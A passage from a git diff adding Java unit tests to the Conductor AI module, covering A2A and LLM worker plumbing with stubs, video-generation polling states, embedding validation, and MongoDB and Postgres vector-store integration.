+ + @Test + void testTaskDefPropertiesPropagated() { + TaskDef taskDef = new TaskDef("jdbc_task"); + taskDef.setResponseTimeoutSeconds(30); + taskDef.setRateLimitPerFrequency(10); + taskDef.setRateLimitFrequencyInSeconds(60); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("jdbc_task"); + workflowTask.setType("JDBC"); + workflowTask.setTaskDefinition(taskDef); + workflowTask.setStartDelay(5); + + String taskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(new WorkflowDef()); + + TaskMapperContext context = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(taskDef) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = mapper.getMappedTasks(context); + + TaskModel task = mappedTasks.get(0); + assertEquals(30, task.getResponseTimeoutSeconds()); + assertEquals(10, task.getRateLimitPerFrequency()); + assertEquals(60, task.getRateLimitFrequencyInSeconds()); + assertEquals(5, task.getCallbackAfterSeconds()); + assertEquals(5, task.getStartDelayInSeconds()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/tasks/worker/A2AWorkersTest.java b/ai/src/test/java/org/conductoross/conductor/ai/tasks/worker/A2AWorkersTest.java new file mode 100644 index 0000000..0484ac1 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/tasks/worker/A2AWorkersTest.java @@ -0,0 +1,91 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.worker; + +import org.conductoross.conductor.ai.a2a.A2AService; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.ai.a2a.model.TaskState; +import org.conductoross.conductor.ai.a2a.model.TaskStatus; +import org.conductoross.conductor.ai.model.A2AAgentCardRequest; +import org.conductoross.conductor.ai.model.A2ACancelRequest; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +class A2AWorkersTest { + + private A2AService a2aService; + private A2AWorkers workers; + + @BeforeEach + void setUp() { + a2aService = mock(A2AService.class); + workers = new A2AWorkers(a2aService); + } + + @Test + void getAgentCard_returnsCard() { + AgentCard card = new AgentCard(); + card.setName("Currency Agent"); + when(a2aService.getAgentCard(eq("http://agent"), any())).thenReturn(card); + + A2AAgentCardRequest request = new A2AAgentCardRequest(); + request.setAgentUrl("http://agent"); + + AgentCard result = workers.getAgentCard(request); + + assertEquals("Currency Agent", result.getName()); + } + + @Test + void getAgentCard_missingAgentUrl_isNonRetryable() { + assertThrows( + NonRetryableException.class, () -> workers.getAgentCard(new A2AAgentCardRequest())); + } + + @Test + void cancelAgentTask_callsService() { + A2ATask cancelled = new A2ATask(); + TaskStatus status = new TaskStatus(); + status.setState(TaskState.CANCELED); + cancelled.setStatus(status); + when(a2aService.cancelTask(eq("http://agent"), eq("t1"), any())).thenReturn(cancelled); + + A2ACancelRequest request = new A2ACancelRequest(); + request.setAgentUrl("http://agent"); + request.setTaskId("t1"); + + A2ATask result = workers.cancelAgentTask(request); + + assertEquals(TaskState.CANCELED, result.getStatus().getState()); + verify(a2aService).cancelTask(eq("http://agent"), eq("t1"), any()); + } + + @Test + void cancelAgentTask_missingTaskId_isNonRetryable() { + A2ACancelRequest request = new A2ACancelRequest(); + request.setAgentUrl("http://agent"); + + assertThrows(NonRetryableException.class, () -> workers.cancelAgentTask(request)); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/tasks/worker/LLMWorkersTest.java b/ai/src/test/java/org/conductoross/conductor/ai/tasks/worker/LLMWorkersTest.java new file mode 100644 index 0000000..98a2ae0 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/tasks/worker/LLMWorkersTest.java @@ -0,0 +1,413 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.worker; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.LLMs; +import org.conductoross.conductor.ai.model.AudioGenRequest; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ImageGenRequest; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.TextCompletion; +import org.conductoross.conductor.ai.model.VideoGenRequest; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Drives every {@code @WorkerTask} method on {@link LLMWorkers} with a stubbed {@link LLMs} so the + * pure plumbing (input mapping, task-context wiring, video state machine, embeddings validation) is + * covered without a live provider. Production already exercises this code via {@code + * AIReasoningEndToEndTest} end-to-end; this file pins the fast-path unit behavior. + */ +public class LLMWorkersTest { + + private RecordingLLMs llms; + private LLMWorkers workers; + private Task task; + + @BeforeEach + void setUp() { + llms = new RecordingLLMs(); + workers = new LLMWorkers(llms); + task = new Task(); + task.setTaskId("task-" + System.nanoTime()); + task.setWorkflowInstanceId("wf-" + System.nanoTime()); + // TaskContext.set() builds a TaskResult from the task — the TaskResult ctor reads + // task.getStatus().ordinal(), so the status must be set before we publish. + task.setStatus(Task.Status.IN_PROGRESS); + // LLMWorkers reads ``TaskContext.get().getTask()`` inside each handler — the + // SystemTaskWorker normally seeds this before invoking @WorkerTask methods. In a + // unit test we have to do that ourselves. + TaskContext.set(task); + } + + @AfterEach + void tearDown() { + TaskContext.clear(); + } + + // ================================================================= + // LLM_CHAT_COMPLETE + // ================================================================= + + @Test + void chatCompletion_passesInputToLLMsAndReturnsResponse() { + // The worker is a thin shell — its job is to forward the ChatCompletion (and the + // ThreadLocal-bound Task) into LLMs.chatComplete. Verify both ends of that contract. + LLMResponse canned = LLMResponse.builder().result("hello").completionTokens(7).build(); + llms.stagedChatResponse = canned; + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + + LLMResponse out = workers.chatCompletion(in); + + assertSame(canned, out, "worker must return whatever LLMs.chatComplete produced"); + assertSame(task, llms.lastChatTask, "worker must forward the TaskContext-bound task"); + assertSame(in, llms.lastChatCompletion, "worker must pass through the ChatCompletion"); + } + + // ================================================================= + // LLM_TEXT_COMPLETE — maps TextCompletion → ChatCompletion + // ================================================================= + + @Test + void textCompletion_mapsAllFieldsOntoChatCompletionAndAddsBootstrapUserMessage() { + // textCompletion is the only worker that synthesizes its own messages array — and + // it has a non-trivial promptName-vs-prompt selector. The mapping has historically + // been a source of bugs (field added on TextCompletion but missed here), so pin + // each translation point explicitly. + TextCompletion in = new TextCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.setTemperature(0.4); + in.setMaxResults(2); + in.setMaxTokens(123); + in.setTopP(0.8); + in.setStopWords(List.of("STOP")); + in.setJsonOutput(true); + in.setPrompt("ignored when promptName is set"); + in.setPromptName("greeting_v1"); + in.setPromptVersion(5); + in.setPromptVariables(Map.of("name", "Conductor")); + + llms.stagedChatResponse = LLMResponse.builder().result("hi").build(); + LLMResponse out = workers.textCompletion(in); + assertNotNull(out); + + ChatCompletion mapped = llms.lastChatCompletion; + assertNotNull(mapped, "textCompletion must invoke LLMs.chatComplete"); + + assertEquals("fake", mapped.getLlmProvider()); + assertEquals("fake-1", mapped.getModel()); + assertEquals(0.4, mapped.getTemperature()); + assertEquals(2, mapped.getMaxResults()); + assertEquals(123, mapped.getMaxTokens()); + assertEquals(0.8, mapped.getTopP()); + assertEquals(List.of("STOP"), mapped.getStopWords()); + assertTrue(mapped.isJsonOutput()); + assertEquals( + "greeting_v1", + mapped.getInstructions(), + "promptName must win over prompt when both are set"); + assertEquals(5, mapped.getPromptVersion()); + assertEquals(Map.of("name", "Conductor"), mapped.getPromptVariables()); + + // The bootstrap user turn is non-obvious — without it, providers see an + // instructions-only payload and refuse to respond. Lock it in. + assertEquals( + 1, + mapped.getMessages().size(), + "textCompletion must add a single bootstrap user message"); + assertEquals( + "user", + mapped.getMessages().getFirst().getRole().name(), + "bootstrap message role must be ``user``"); + assertTrue( + mapped.getMessages().getFirst().getMessage().toLowerCase().contains("instructions"), + "bootstrap message must reference the instructions: " + + mapped.getMessages().getFirst().getMessage()); + } + + @Test + void textCompletion_promptNameNull_fallsBackToPrompt() { + // The ?: in textCompletion uses promptName when non-null, else prompt. Pin the + // fallback branch directly. + TextCompletion in = new TextCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.setPrompt("write me a haiku"); + in.setPromptName(null); + + llms.stagedChatResponse = LLMResponse.builder().result("done").build(); + workers.textCompletion(in); + + assertEquals( + "write me a haiku", + llms.lastChatCompletion.getInstructions(), + "with promptName=null, the prompt field must populate ChatCompletion.instructions"); + } + + // ================================================================= + // GENERATE_IMAGE / GENERATE_AUDIO — pure delegations + // ================================================================= + + @Test + void generateImage_forwardsToLLMs() { + ImageGenRequest req = new ImageGenRequest(); + req.setLlmProvider("fake"); + req.setModel("fake-image"); + llms.stagedImageResponse = LLMResponse.builder().result("img").build(); + + LLMResponse out = workers.generateImage(req); + assertSame(llms.stagedImageResponse, out); + assertSame(req, llms.lastImageReq); + assertSame(task, llms.lastImageTask); + } + + @Test + void generateAudio_forwardsToLLMs() { + AudioGenRequest req = AudioGenRequest.builder().text("hello").voice("alloy").build(); + req.setLlmProvider("fake"); + req.setModel("tts-1"); + llms.stagedAudioResponse = LLMResponse.builder().result("audio").build(); + + LLMResponse out = workers.generateAudio(req); + assertSame(llms.stagedAudioResponse, out); + assertSame(req, llms.lastAudioReq); + assertSame(task, llms.lastAudioTask); + } + + // ================================================================= + // GENERATE_VIDEO — state machine + // ================================================================= + + @Test + void generateVideo_initialCall_startsJobAndReturnsInProgress() { + // First invocation has no jobId on the task output, so LLMWorkers must call + // LLMs.generateVideo(...) (the "start" half) and emit IN_PROGRESS with a 5s + // callback delay. + llms.stagedVideoResponse = + LLMResponse.builder().jobId("job-1").finishReason("RUNNING").build(); + + VideoGenRequest req = new VideoGenRequest(); + req.setLlmProvider("fake"); + req.setModel("fake-video"); + + TaskResult result = workers.generateVideo(req); + + assertEquals(TaskResult.Status.IN_PROGRESS, result.getStatus()); + assertEquals(5L, result.getCallbackAfterSeconds()); + assertEquals("job-1", result.getOutputData().get("jobId")); + assertNotNull(llms.lastVideoStartTask, "first invocation must hit generateVideo"); + // The "checkVideoStatus" path must NOT have run yet — that's what differentiates + // the start half from the poll half. + assertSame(null, llms.lastVideoStatusReq); + } + + @Test + void generateVideo_pollWithJobIdAndStatusRunning_keepsInProgress() { + // After the start call the worker writes ``jobId`` onto Task.outputData. On the + // poll iteration the worker reads that back and invokes checkVideoStatus instead. + task.getOutputData().put("jobId", "job-1"); + llms.stagedVideoStatusResponse = + LLMResponse.builder().jobId("job-1").finishReason("RUNNING").build(); + + VideoGenRequest req = new VideoGenRequest(); + req.setLlmProvider("fake"); + req.setModel("fake-video"); + + TaskResult result = workers.generateVideo(req); + + // ``RUNNING`` is neither COMPLETED nor FAILED — worker must leave the status as + // the default IN_PROGRESS so the next poll fires. + assertEquals(TaskResult.Status.IN_PROGRESS, result.getStatus()); + assertEquals(5L, result.getCallbackAfterSeconds()); + assertNotNull(llms.lastVideoStatusReq, "poll iteration must hit checkVideoStatus"); + assertEquals( + "job-1", + llms.lastVideoStatusReq.getJobId(), + "worker must thread the persisted jobId back into the status request"); + } + + @Test + void generateVideo_pollWithStatusCompleted_marksTaskCompleted() { + task.getOutputData().put("jobId", "job-1"); + llms.stagedVideoStatusResponse = + LLMResponse.builder().jobId("job-1").finishReason("COMPLETED").build(); + + VideoGenRequest req = new VideoGenRequest(); + TaskResult result = workers.generateVideo(req); + + assertEquals(TaskResult.Status.COMPLETED, result.getStatus()); + } + + @Test + void generateVideo_pollWithStatusFailed_marksTaskFailed() { + task.getOutputData().put("jobId", "job-1"); + llms.stagedVideoStatusResponse = + LLMResponse.builder().jobId("job-1").finishReason("FAILED").build(); + + VideoGenRequest req = new VideoGenRequest(); + TaskResult result = workers.generateVideo(req); + + assertEquals(TaskResult.Status.FAILED, result.getStatus()); + } + + // ================================================================= + // LLM_GENERATE_EMBEDDINGS — pre-flight validation + delegation + // ================================================================= + + @Test + void generateEmbeddings_blankText_throwsNonRetryable() { + EmbeddingGenRequest req = new EmbeddingGenRequest(); + req.setLlmProvider("fake"); + req.setModel("fake-embed"); + req.setText(" "); // blank should be treated the same as empty/null + + NonRetryableException thrown = + assertThrows(NonRetryableException.class, () -> workers.generateEmbeddings(req)); + assertTrue( + thrown.getMessage().toLowerCase().contains("no input text"), + "expected the 'No input text' guard; got: " + thrown.getMessage()); + // Validation must run BEFORE any provider call; nothing should land on the stub. + assertFalse(llms.embeddingsCalled, "blank text must not reach LLMs.generateEmbeddings"); + } + + @Test + void generateEmbeddings_validInput_delegatesAndReturnsList() { + List staged = List.of(0.1f, 0.2f, 0.3f, 0.4f); + llms.stagedEmbeddings = staged; + + EmbeddingGenRequest req = new EmbeddingGenRequest(); + req.setLlmProvider("fake"); + req.setModel("fake-embed"); + req.setText("hello"); + req.setDimensions(4); + + List got = workers.generateEmbeddings(req); + assertSame(staged, got); + assertTrue(llms.embeddingsCalled); + // Worker rebuilds an EmbeddingGenRequest internally; verify the rebuild + // preserved the model, text, dimensions, and provider. + assertNotNull(llms.lastEmbeddingsReq); + assertEquals("fake-embed", llms.lastEmbeddingsReq.getModel()); + assertEquals("hello", llms.lastEmbeddingsReq.getText()); + assertEquals(4, llms.lastEmbeddingsReq.getDimensions()); + assertEquals("fake", llms.lastEmbeddingsReq.getLlmProvider()); + } + + // ================================================================= + // Test double — records calls into an LLMs-shaped surface + // ================================================================= + + /** + * Stub {@link LLMs} that lets each test stage canned return values and inspect the inputs the + * worker forwarded. We construct {@link LLMs} with null collaborators because every public + * method that LLMWorkers calls is overridden here — the parent constructor never dereferences + * the dependencies. + */ + static class RecordingLLMs extends LLMs { + + LLMResponse stagedChatResponse; + LLMResponse stagedImageResponse; + LLMResponse stagedAudioResponse; + LLMResponse stagedVideoResponse; + LLMResponse stagedVideoStatusResponse; + List stagedEmbeddings = new ArrayList<>(); + + Task lastChatTask; + ChatCompletion lastChatCompletion; + Task lastImageTask; + ImageGenRequest lastImageReq; + Task lastAudioTask; + AudioGenRequest lastAudioReq; + Task lastVideoStartTask; + VideoGenRequest lastVideoStartReq; + VideoGenRequest lastVideoStatusReq; + EmbeddingGenRequest lastEmbeddingsReq; + boolean embeddingsCalled; + + RecordingLLMs() { + // The parent constructor walks the modelConfigurations list — passing an empty + // list makes that loop a no-op, so ``Environment`` is never dereferenced and + // ``payloadStoreLocation`` stays null. Every method LLMWorkers actually calls on + // ``LLMs`` is overridden below, so none of those dependencies are touched at + // runtime. + super(new ArrayList<>(), null, emptyProvider(), null); + } + + private static org.conductoross.conductor.ai.AIModelProvider emptyProvider() { + return new org.conductoross.conductor.ai.AIModelProvider(new ArrayList<>(), null); + } + + @Override + public LLMResponse chatComplete(Task task, ChatCompletion chatCompletion) { + lastChatTask = task; + lastChatCompletion = chatCompletion; + return stagedChatResponse; + } + + @Override + public LLMResponse generateImage(Task task, ImageGenRequest req) { + lastImageTask = task; + lastImageReq = req; + return stagedImageResponse; + } + + @Override + public LLMResponse generateAudio(Task task, AudioGenRequest req) { + lastAudioTask = task; + lastAudioReq = req; + return stagedAudioResponse; + } + + @Override + public LLMResponse generateVideo(Task task, VideoGenRequest req) { + lastVideoStartTask = task; + lastVideoStartReq = req; + return stagedVideoResponse; + } + + @Override + public LLMResponse checkVideoStatus(Task task, VideoGenRequest req) { + lastVideoStatusReq = req; + return stagedVideoStatusResponse; + } + + @Override + public List generateEmbeddings(Task task, EmbeddingGenRequest req) { + embeddingsCalled = true; + lastEmbeddingsReq = req; + return stagedEmbeddings; + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/vectordb/MongoVectorDBTest.java b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/MongoVectorDBTest.java new file mode 100644 index 0000000..d10b392 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/MongoVectorDBTest.java @@ -0,0 +1,166 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import java.util.List; +import java.util.Map; +import java.util.UUID; + +import org.bson.Document; +import org.bson.codecs.configuration.CodecRegistries; +import org.bson.codecs.configuration.CodecRegistry; +import org.bson.codecs.pojo.PojoCodecProvider; +import org.conductoross.conductor.ai.AIModelProvider; +import org.conductoross.conductor.ai.LLMs; +import org.conductoross.conductor.ai.model.StoreEmbeddingsInput; +import org.conductoross.conductor.ai.tasks.worker.VectorDBWorkers; +import org.conductoross.conductor.ai.vectordb.mongodb.MongoDBConfig; +import org.conductoross.conductor.ai.vectordb.mongodb.MongoVectorDB; +import org.conductoross.conductor.common.JsonSchemaValidator; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.core.env.StandardEnvironment; +import org.testcontainers.containers.MongoDBContainer; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.mongodb.ConnectionString; +import com.mongodb.MongoClientSettings; +import com.mongodb.client.MongoClient; +import com.mongodb.client.MongoClients; +import com.mongodb.client.MongoCollection; +import com.mongodb.client.MongoDatabase; + +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +@SpringBootTest( + properties = {"conductor.integrations.ai.enabled=true"}, + classes = {TestConfiguration.class}) +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +public class MongoVectorDBTest { + + private static MongoDBContainer mongoDBContainer; + private static MongoClient mongoClient; + private static MongoDatabase database; + private static VectorDBWorkers aiWorkers; + private static final String DATABASE_NAME = "test-database"; + + @BeforeAll + public static void setup() { + mongoDBContainer = new MongoDBContainer("mongo:7.0").withSharding(); + mongoDBContainer.start(); + + CodecRegistry pojoCodecRegistry = + CodecRegistries.fromRegistries( + MongoClientSettings.getDefaultCodecRegistry(), + CodecRegistries.fromProviders( + PojoCodecProvider.builder().automatic(true).build())); + + MongoClientSettings settings = + MongoClientSettings.builder() + .applyConnectionString( + new ConnectionString(mongoDBContainer.getConnectionString())) + .codecRegistry(pojoCodecRegistry) + .build(); + + mongoClient = MongoClients.create(settings); + database = mongoClient.getDatabase(DATABASE_NAME); + + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + AIModelProvider provider = new AIModelProvider(List.of(), new StandardEnvironment()); + LLMs llm = + new LLMs( + null, + new JsonSchemaValidator(objectMapper), + provider, + new okhttp3.OkHttpClient()); + + MongoDBConfig mongoConfig = new MongoDBConfig(); + mongoConfig.setDatabase(DATABASE_NAME); + mongoConfig.setConnectionString(mongoDBContainer.getConnectionString()); + + // Create VectorDB instance + MongoVectorDB mongoVectorDB = new MongoVectorDB("mongodb-test", mongoConfig); + + // Create instance config with the vectorDB + VectorDBInstanceConfig instanceConfig = new VectorDBInstanceConfig(); + VectorDBInstanceConfig.VectorDBInstance instance = + new VectorDBInstanceConfig.VectorDBInstance(); + instance.setName("mongodb-test"); + instance.setType("mongodb"); + instance.setMongodb(mongoConfig); + instanceConfig.setInstances(List.of(instance)); + + @SuppressWarnings("unchecked") + org.springframework.beans.factory.ObjectProvider noDefaults = + org.mockito.Mockito.mock(org.springframework.beans.factory.ObjectProvider.class); + org.mockito.Mockito.when(noDefaults.iterator()) + .thenReturn(java.util.Collections.emptyIterator()); + VectorDBProvider vectorDBProvider = new VectorDBProvider(instanceConfig, noDefaults); + VectorDBs vectorDBs = new VectorDBs(vectorDBProvider); + aiWorkers = new VectorDBWorkers(vectorDBs, llm); + } + + @Test + public void testConnectionStringNotEmpty() { + assertNotNull(mongoDBContainer); + assertNotNull(mongoDBContainer.getConnectionString()); + } + + @Test + public void testUpdateEmbeddings() { + StoreEmbeddingsInput storeEmbeddingsInput = + getMockStoreEmbeddingsInput(List.of(1.1f, 2.2f, 3.4f)); + + Task task = new Task(); + task.setTaskId(UUID.randomUUID().toString()); + TaskContext.TASK_CONTEXT_INHERITABLE_THREAD_LOCAL.set( + new TaskContext(task, new TaskResult())); + + int documentsUpdated = aiWorkers.storeEmbeddings(storeEmbeddingsInput); + MongoCollection collection = database.getCollection("items"); + Document result = (Document) collection.find(new Document("doc_id", "testId")).first(); + assertNotNull(result); + assertTrue(documentsUpdated != 0); + } + + @Test + public void testSearchEmbeddings() { + /** + * Vector search doesn't work with MongoDB local container,it only works with Atlas, Right + * now there is no way to automatically spin-up atlas container using testContainers and + * perform vector search + */ + assertTrue(true); + } + + private StoreEmbeddingsInput getMockStoreEmbeddingsInput(List embeddings) { + StoreEmbeddingsInput storeEmbeddingsInput = new StoreEmbeddingsInput(); + storeEmbeddingsInput.setVectorDB("mongodb-test"); + storeEmbeddingsInput.setId("testId"); + storeEmbeddingsInput.setIndex("testindex"); + storeEmbeddingsInput.setMetadata(Map.of("key1", "val1")); + storeEmbeddingsInput.setNamespace("items"); + storeEmbeddingsInput.setMaxResults(4); + storeEmbeddingsInput.setEmbeddings(embeddings); + return storeEmbeddingsInput; + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/vectordb/PostgresVectorDBTest.java b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/PostgresVectorDBTest.java new file mode 100644 index 0000000..8f2e686 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/PostgresVectorDBTest.java @@ -0,0 +1,384 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import java.sql.Array; +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.conductoross.conductor.ai.vectordb.postgres.PostgresConfig; +import org.conductoross.conductor.ai.vectordb.postgres.PostgresVectorDB; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.mockito.MockedConstruction; +import org.postgresql.PGConnection; + +import com.zaxxer.hikari.HikariDataSource; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.contains; +import static org.mockito.Mockito.atLeastOnce; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.mockConstruction; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class PostgresVectorDBTest { + + private PostgresConfig config; + private PostgresVectorDB vectorDB; + + @BeforeEach + public void setup() { + config = new PostgresConfig(); + config.setDatasourceURL("jdbc:postgresql://localhost:5432/test"); + config.setUser("user"); + config.setPassword("pass"); + config.setDimensions(3); + vectorDB = new PostgresVectorDB("test-postgres", config); + } + + @Test + public void testUpdateEmbeddingsHappyPath() throws SQLException { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + // Mock PGConnection for PGvector.addVectorType + PGConnection pgConn = mock(PGConnection.class); + when(conn.unwrap(any())).thenReturn(pgConn); + + // Mock PreparedStatement for table create + PreparedStatement createTableStmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("CREATE TABLE"))) + .thenReturn(createTableStmt); + + // Mock PreparedStatement for index create + PreparedStatement createIndexStmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("CREATE INDEX"))) + .thenReturn(createIndexStmt); + + // Mock PreparedStatement for upsert + PreparedStatement upsertStmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("INSERT INTO"))) + .thenReturn(upsertStmt); + when(upsertStmt.executeUpdate()).thenReturn(1); + + Array sqlArray = mock(Array.class); + when(conn.createArrayOf(anyString(), any())).thenReturn(sqlArray); + })) { + + vectorDB.updateEmbeddings( + "idx", + "ns", + "doc", + "parent", + "id", + List.of(1.0f, 2.0f, 3.0f), + Map.of("k", "v")); + + HikariDataSource ds = mockedDataSource.constructed().get(0); + verify(ds, atLeastOnce()).getConnection(); + + // Verify Leaks: Connection closed? + verify(ds.getConnection(), times(1)).close(); + } + } + + @Test + public void testSearchHappyPath() throws SQLException { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + // Mock PGConnection for PGvector.addVectorType + PGConnection pgConn = mock(PGConnection.class); + when(conn.unwrap(any())).thenReturn(pgConn); + + PreparedStatement stmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("SELECT"))).thenReturn(stmt); + + ResultSet rs = mock(ResultSet.class); + when(stmt.executeQuery()).thenReturn(rs); + // 1 row + when(rs.next()).thenReturn(true).thenReturn(false); + when(rs.getString("id")).thenReturn("id1"); + when(rs.getString("parent_doc_id")).thenReturn("pid1"); + when(rs.getDouble("distance")).thenReturn(0.1); + when(rs.getString("doc")).thenReturn("text"); + when(rs.getObject("metadata")).thenReturn("{\"k\":\"v\"}"); + })) { + + List results = vectorDB.search("idx", "ns", List.of(1.0f, 2.0f, 3.0f), 10); + assertEquals(1, results.size()); + assertEquals("id1", results.get(0).getDocId()); + + HikariDataSource ds = mockedDataSource.constructed().get(0); + verify(ds.getConnection(), times(1)).close(); // Connection closed + } + } + + @Test + public void testInvalidNamespace() { + assertThrows( + RuntimeException.class, + () -> + vectorDB.updateEmbeddings( + "idx", "invalid/ns", "doc", "p", "id", List.of(1f), Map.of())); + assertThrows( + RuntimeException.class, () -> vectorDB.search("idx", "invalid/ns", List.of(1f), 1)); + } + + @Test + public void testWaitForConnectionPoolTimeout() { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + // Always not running + when(mock.isRunning()).thenReturn(false); + })) { + + RuntimeException ex = + assertThrows( + RuntimeException.class, + () -> + vectorDB.updateEmbeddings( + "idx", + "ns", + "doc", + "p", + "id", + List.of(1.0f, 2.0f, 3.0f), + Map.of())); + // The exception is wrapped, so we check the cause or contains + // Expected wrapped exception message: java.lang.RuntimeException: Connection + // pool failed to start... + assertNotNull(ex.getCause()); + assertEquals( + "Connection pool failed to start within 5000ms", ex.getCause().getMessage()); + } + } + + @Test + public void testWaitAndSuccessfulConnection() throws SQLException { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + // First false, then true + when(mock.isRunning()).thenReturn(false).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + // Mock PGConnection for PGvector.addVectorType + PGConnection 